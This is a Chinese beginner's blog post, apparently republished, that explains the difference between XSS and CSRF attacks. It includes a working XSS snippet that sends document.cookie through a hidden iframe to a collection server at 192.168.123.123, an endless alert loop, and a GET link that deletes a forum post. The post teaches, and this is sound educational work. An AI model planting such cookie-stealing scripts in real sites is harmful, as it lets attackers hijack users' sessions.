摘要：它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了以及用户端脚本语言。更偏向于方法论，更偏向于一种形式，只要是伪造用户发起的请求，都可成为攻击。
这两个关键词也是老生常谈了，但是还总是容易让人忘记与搞混~。
XSS与CSRF这两个关键词时常被拉出来一起比较（尤其是面试），我在这里也在写一篇扫盲文，也帮自己整理一下知识脉络。
这篇文章会用尽量“人话”的语言解释这二个关键词，让同学们对跨域，安全有更深一层次的了解。
国际惯例，先上一下维基百科：
XSS：跨站脚本（Cross-site scripting，通常简称为XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
I
CSRF:跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
维基的解释依旧高深莫测啊，我用 “人话”给大家解释一下吧。
XSS： 通过客户端脚本语言（最常见如：JavaScript）
在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入，如果这个代码内容有请求外部服务器，那么就叫做XSS！
CSRF：又称XSRF，冒充用户发起请求（在用户不知情的情况下）,完成一些违背用户意愿的请求（如恶意发帖，删帖，改密码，发邮件等）。
很多同学会搞不明白XSS与CSRF的区别，虽然这两个关键词时常抱团出现，但他们两个是不同维度的东西（或者说他们的目的是不一样的）。
XSS更偏向于方法论，CSRF更偏向于一种形式，只要是伪造用户发起的请求，都可成为CSRF攻击。
通常来说CSRF是由XSS实现的，所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求]（但实现的方式绝不止一种，还可以直接通过命令行模式（命令行敲命令来发起请求）直接伪造请求[只要通过合法验证即可]）。
XSS更偏向于代码实现（即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里，然后有用户访问了这个帖子，这就算是中了XSS攻击了），CSRF更偏向于一个攻击结果，只要发起了冒牌请求那么就算是CSRF了。
简单来说，条条大路（XSS路，命令行路）通罗马（CSRF马，XSRF马）。
前面讲了那么多理论介绍，那么我们来看一看实际代码吧。
【 Talk is cheap，Show me the code 】
场景：我在一条帖子里面写下了如下代码，发了出去，然后陆陆续续有很多可爱（wu / zhi） 的用户访问到这个帖子，然后用户接下来的所有操作都由我这串代码掌控了（各种姿势混着玩~）
如下：
while(true){
alert("你关不掉我");
}
这个就是最原始的脚本注入了。
用户进来就麻烦了，一直弹窗一直弹窗。
那么XSS（跨站脚本）就是照瓢画葫了，用JavaScript写一个请求跨站的脚本就是XSS了，如下：
// 用 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这段服务器，然后服务器的代码就可以接收到了用户的隐私消息，继而继续做其他的业务处理（myxss/index.php 中写一些可怕的代码，如把用户信息存进自己的数据库）。
有没感觉到背后一寒
看到这里感觉到危险了吧（想想初学程序时我们的站点完全没有这个意识，活生生的是在裸奔），=
既然此段脚本注入能携带着用户信息到收集服务器，那么再研究研究，他自然能发邮件？发帖？一系列业务逻辑？ ~~当然可以！。
这里tips一下：上面的代码仅仅是XSS，并没有发生CSRF，因为192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已，他并没有“伪造”用户发起一些请求，所以他只算是XSS攻击而不算是CSRF攻击，如果192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改为“我是大笨猪”，那么就算是CSRF攻击了，因为这段代码伪造用户发出了请求（但是用户却不自知）。
那么下面我介绍一下最最简单的CSRF攻击（没有用到XSS的哦）：
一个论坛，经过我的多次抓包分析（着重分析请求返回头，请求返回体）了解到这个论坛的删帖操作是触发 csdnblog.com/bbs/delete_article.php?id=“X" 那么，我只需要在论坛中发一帖，包含一链接：www.csdnblog.com/bbs/delete_article.php?id=“X" ，只要有用户点击了这个链接，那么ID为X的这一篇文章就被删掉了，而且是用户完全不知情的情况（敲黑板状：此处我可没有写XSS脚本哦，我纯粹是发一个url地址出来而已，既然删除操作可以伪造，那么只要我细细分析，其他操作（发帖，改名字，发私信，只要是这个论坛具有的功能）我都可以伪造咯！
XSS与CSRF讲完了，回头我会讲下如何防范XSS与CSRF。
今天国庆日，6天后国足将在西安迎战叙利亚，此战胜负十分关键！祝好运！国足队员加油！
参考文章：
https://segmentfault.com/a/11... 《 总结 XSS 与 CSRF 两种跨站攻击 》
http://www.lxway.com/48228121... 《CSRF CORS》
学习/（“抄”） 了不少文章（主要是demo代码不想重复写了），侵删。
文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。
转载请注明本文地址：https://www.ucloud.cn/yun/80593.html
摘要：它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了以及用户端脚本语言。更偏向于方法论，更偏向于一种形式，只要是伪造用户发起的请求，都可成为攻击。 这两个关键词也是老生常谈了，但是还总是容易让人忘记与搞混~。XSS与CSRF这两个关键词时常被拉出来一起比较（尤其是面试），我在这里也在写一篇扫盲文，也帮自己整理一下知识脉络。 这篇文章会用尽量人话的语言解...
摘要：前者主要由前端与后端合力完成，后者的话通常就是由前端单独去完成的。毕竟各种防不胜防。日常开发中需要带有安全意识，端或者服务端都不信任外部的任何输入，任何参考文章前端安全防劫持与的防御注入的终极解决方案信息安全 距离上一次介绍XSS与CSRF已经过去了漫长了两个月，工作较忙，文章姗姗来迟。小小回顾一下究竟什么是XSS和CSRF：https://segmentfault.com/a/11....
摘要：前者主要由前端与后端合力完成，后者的话通常就是由前端单独去完成的。毕竟各种防不胜防。日常开发中需要带有安全意识，端或者服务端都不信任外部的任何输入，任何参考文章前端安全防劫持与的防御注入的终极解决方案信息安全 距离上一次介绍XSS与CSRF已经过去了漫长了两个月，工作较忙，文章姗姗来迟。小小回顾一下究竟什么是XSS和CSRF：https://segmentfault.com/a/11....
摘要：前者主要由前端与后端合力完成，后者的话通常就是由前端单独去完成的。毕竟各种防不胜防。日常开发中需要带有安全意识，端或者服务端都不信任外部的任何输入，任何参考文章前端安全防劫持与的防御注入的终极解决方案信息安全 距离上一次介绍XSS与CSRF已经过去了漫长了两个月，工作较忙，文章姗姗来迟。小小回顾一下究竟什么是XSS和CSRF：https://segmentfault.com/a/11....
阅读 510·2023-04-26 00:33
阅读 3537·2021-11-24 09:39
阅读 2896·2021-09-22 15:34
阅读 2315·2019-08-23 18:07
阅读 2911·2019-08-23 18:04
阅读 3693·2019-08-23 16:06
阅读 2893·2019-08-23 15:27
阅读 1613·2019-08-23 14:32
